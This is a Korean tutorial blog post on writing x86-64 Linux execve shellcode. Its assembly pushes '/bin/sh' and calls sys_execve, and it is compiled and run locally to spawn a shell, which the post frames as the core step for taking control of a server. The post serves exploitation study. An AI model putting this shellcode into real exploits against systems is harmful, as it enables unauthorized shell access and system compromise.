보안/시스템 보안

[Shellcode] execve

kykyky 2024. 2. 28. 11:34

출처: Devstringx

 

목적

 

 

 

execve 셸코드를 이용하면 임의의 프로그램을 실행할 수 있는데요,

만약 그것이 셸 프로그램이라면, 서버의 셸을 획득한 것이므로, 서버의 시스템을 제어함으로써 시스템 해킹을 성공한 것이 됩니다.

 

※ 셸(Shell): 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스

 

 

 

방법

 

 

 

1. execve 셸코드 작성

 

 

linux의 다양한 셸 프로그램 중 기본인  /bin/sh를 실행하는 execve 셸코드를 작성해보겠습니다.

 

execve 셸코드는 

스켈레톤 코드 (C언어로 작성됨) + 셸코드 (어셈블리)

의 구조입니다.

 

 

 

스켈레톤 코드

__asm__(
".global run_sh\n" // C에서 run_sh에 접근 가능하도록 global로 설정
"run_sh:\n"
// 아래 어셈블리 코드는 예시이며, 각 line은 \n으로 구분되어야 함
"xor rdi, rdi\n"
"mov rax, 0x3c\n"
"syscall");
void run_sh();
int main() { run_sh(); }

 

 

 

셸코드

출처: dreamhack

 

 

execve("/bin/sh", null, null)를 위한 어셈블리

① 0x68732f6e69622f(= "/bin/sh\x00")를 stack에 push. 

mov rax, 0x68732f6e69622f
push rax

② rax, arg0 (rdi), arg1 (rsi), arg2 (rdx) 설정
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve

③ 최종적으로 syscall

syscall       ; execve("/bin/sh", null, null)

 

 

 

합쳐서 완성된 execve 셸코드

execve.c

__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }

 

 

 

 

2. execve 셸코드 컴파일 및 실행

 

 

 

컴파일

gcc -o execve execve.c -masm=intel

 

 

 

실행

./execve

 

 

 

결과

 

결과로 sh가 실행되고, 원하는 명령어를 수행할 수 있게 됩니다.